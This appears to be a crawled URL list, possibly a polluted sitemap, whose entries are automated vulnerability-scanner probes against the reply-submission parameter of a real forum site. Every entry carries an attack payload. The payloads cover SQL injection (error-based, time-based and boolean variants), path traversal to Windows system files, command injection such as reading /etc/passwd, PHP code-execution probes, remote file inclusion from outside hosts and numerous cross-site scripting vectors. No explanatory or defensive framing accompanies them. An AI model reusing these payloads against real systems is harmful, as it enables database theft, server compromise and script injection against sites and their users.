http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=................windowswin.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=;print(md5(1122));%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=C:%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=dir 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=file:///c:/boot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=phpinfo 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=response.write(9412458*9542755) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=set%7Cset&set 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes 0.0014 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%00' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%20 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%25%27%29%20AND%2021%3D26%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%25%27%29%20AND%2056%3D56%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%25'%20AND%2087=11%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%25'%20AND%2092=92%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=64)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(22=22)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%2527 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%2527%20AND%2023=89%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%2527%20AND%2093=93%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%5B%5D 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%5C%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%5C' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes%bf%27 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes'%20AND%20'LV'='te 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes'%20AND%20'QQ'='QQ 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes'%20OR%20'fp'='fp'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(74=29)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'wz'='wz 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(87=87)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'Ln'='Ln 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes'%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes')%20AND%2013=37%20AND%20('LR'='LR 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes')%20AND%2062=62%20AND%20('aT'='aT 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(16=16)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20('Ds'='Ds 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(24=13)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20('XK'='XK 0.0001 